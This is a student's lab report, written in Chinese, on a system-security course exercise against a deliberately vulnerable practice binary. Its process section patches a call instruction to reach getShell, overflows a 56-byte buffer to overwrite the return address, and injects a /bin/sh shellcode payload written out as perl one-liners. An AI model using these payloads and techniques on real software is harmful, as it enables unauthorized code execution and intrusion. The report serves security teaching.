1.实验内容
本周学习内容
1.熟悉基本的汇编语言指令及其功能。
2.掌握了栈与堆的概念及其在进程内存管理中的应用以及用户态与内核态的区别。
3.熟练运用了Linux系统下的基本操作命令。
2.实验过程
任务一 直接修改程序机器指令,改变程序执行流程
下载并解压目标文件pwn1,然后拖入虚拟机kali,并将其重命名为20222403QiaoXu。
使用命令objdump -d 20222403QiaoXu对文件20222403QiaoXu进行反汇编。
找到80484b5这一行,从这里可以看到这条指令将调用位于地址8048491处的foo函数,也就是说main函数是调用foo的,对应机器指令为e8 d7ffffff,e8是跳转的意思。
如果想让它调用getShell,只要修改“d7ffffff”为"getShell-80484ba"对应的补码就行,经过计算得到补码c3ffffff。
先用指令cp pwn1 pwn2,再使用命令vi打开文件进行编辑,输入:%!xxd将显示模式切换为16进制模式,并查找要修改的内容。
将d7ffffff变为c3ffffff。输入:%!xxd -r转换16进制为原格式,:wq保存修改。
再反汇编看一下,call指令是否正确调用getShell。
说明修改成功,这次call指令可以调用getShell了。
运行修改后的代码可以发现shell提示符
任务二 通过构造输入参数,造成BOF攻击,改变程序执行流
从上一个任务看到,该可执行文件正常运行是调用foo函数,但只预留了56字节的缓冲区,有Buffer overflow漏洞,超出部分会造成溢出,我们的目标是覆盖返回地址,触发getShell函数。
输入gdb 20222403QiaoXu指令后,发现kali并没有自带gdb,所以使用指令“sudo apt update” 和 “sudo apt install gdb”进行安装。
接下来确认输入字符串哪几个字符会覆盖到返回地址。
先后使用gdb 20222403QiaoXu、(gdb) r,输入1111111122222222333333334444444455555555,之后使用info r查看EIP寄存器中的数据。
eip中存的地址变成了 0x35353535。
重复以上步骤,输入1111111122222222333333334444444412345678。
eip中存的地址变成了 0x34333231,也就是4321。
由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件,\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。,所以先使用命令perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input生成包括这样字符串的文件,再使用16进制查看指令xxd input查看文件的内容是否符合预期。
然后将input的输入,通过管道符“|”,作为20222403QiaoXu的输入。
任务三 注入Shellcode并执行
首先修改堆栈设置,但是没有安装execstack,于是先使用命令sudo apt-get upgrade,sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb等指令安装此工具。
接下来修改堆栈设置完成准备工作。
构造要注入的payload:perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode,然后打开终端注入攻击buf:
打开另外一个终端,用gdb来调试,先看一下20222403QiaoXu的进程号。
然后启动gdb调试这个进程。
通过设置断点,来查看注入buf的内存地址.
在另外一个终端中按下回车,由于shellcode是紧挨着返回地址,所以可以计算shellcode的地址应为0xbffb1150,需要把返回地址改为erl -e 'print "A" x 32;print "\x50\x11\xfb\xbf\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
3.问题及解决方案
问题1:系统显示无gdb,需要安装。
问题1解决方案:使用“sudo apt update” 和 “sudo apt install gdb”指令进行安装
问题2:execstack不存在,无法查找
问题2解决方案:再官网上下载文件,拖入虚拟机中,解压即可。
4.学习感悟、思考等
第一次网络与系统攻防技术实验,我像往常提前看了实验指导书,感觉无从下手,因为实验目的、实验要求非常不明确。实验开始后,我按着实验指导一步一步做,但是总遇到问题,不是没有打开桌面文件,就是没有虚拟机不停卡顿。实验过程中,总是遇到细节上的问题,通过不断再网上查找,问同学,终于逐步将实验进行下去。这次试验考验了我的耐心,也培养了我自主思考的能力。